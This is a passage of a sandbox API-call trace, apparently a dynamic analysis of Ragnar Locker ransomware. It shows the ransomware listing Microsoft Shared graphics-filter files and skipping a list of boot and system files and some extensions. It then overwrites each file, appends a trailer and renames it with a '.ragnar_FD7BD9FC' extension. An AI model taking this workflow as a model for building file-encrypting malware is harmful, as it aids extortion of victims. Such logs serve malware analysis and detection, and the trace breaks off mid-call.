ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0049.570] lstrcmpiW (lpString1="MS.CGM", lpString2=".") returned 1 [0049.570] lstrcmpiW (lpString1="MS.CGM", lpString2="..") returned 1 [0049.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="MS.EPS", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="MS.EPS", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="MS.GIF", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="MS.GIF", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="MS.JPG", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="MS.JPG", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="MS.PNG", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="MS.PNG", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="MS.WPG", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="MS.WPG", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="PNG32.FLT", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.571] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0049.571] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".") returned 1 [0049.571] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="..") returned 1 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0049.571] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0049.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.572] lstrcpyW (in: lpString1=0x1eb636, lpString2="CGMIMP32.CFG" | out: lpString1="CGMIMP32.CFG") returned="CGMIMP32.CFG" [0049.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned=".CFG" [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="autorun.inf") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="boot.ini") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootfont.bin") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootsect.bak") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootmgr") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootmgr.efi") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootmgfw.efi") returned 1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="desktop.ini") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="iconcache.db") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ntldr") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ntuser.dat") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ntuser.dat.log") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ntuser.ini") returned -1 [0049.572] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="thumbs.db") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".db") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".sys") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".dll") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".lnk") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".msi") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".drv") returned -1 [0049.572] lstrcmpiW (lpString1=".CFG", lpString2=".exe") returned -1 [0049.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0049.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0049.573] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6811) returned 1 [0049.573] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1a92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.573] GetProcessHeap () returned 0x580000 [0049.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0049.573] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0049.574] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0049.575] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.575] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0049.575] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a9b, lpOverlapped=0x0) returned 1 [0049.575] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0049.576] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a9b, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.576] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a9b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a9b, lpOverlapped=0x0) returned 1 [0049.576] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a9b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.576] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.576] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1a9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.576] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.576] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.576] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.576] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0049.576] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.576] GetProcessHeap () returned 0x580000 [0049.576] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0049.576] CloseHandle (hObject=0x100) returned 1 [0049.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" [0049.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.ragnar_FD7BD9FC" [0049.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0049.578] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0049.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0049.578] lstrcpyW (in: lpString1=0x1eb636, lpString2="CGMIMP32.FLT" | out: lpString1="CGMIMP32.FLT") returned="CGMIMP32.FLT" [0049.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned=".FLT" [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="autorun.inf") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="boot.ini") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootfont.bin") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootsect.bak") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootmgr") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootmgr.efi") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootmgfw.efi") returned 1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="desktop.ini") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="iconcache.db") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ntldr") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ntuser.dat") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ntuser.dat.log") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ntuser.ini") returned -1 [0049.578] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="thumbs.db") returned -1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0049.578] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0049.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0049.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0049.579] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=323936) returned 1 [0049.579] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f157, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.579] GetProcessHeap () returned 0x580000 [0049.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0049.579] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0049.581] VirtualAlloc (lpAddress=0x0, dwSize=0x4f160, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0049.581] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.581] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0049.581] ReadFile (in: hFile=0x100, lpBuffer=0x300000, 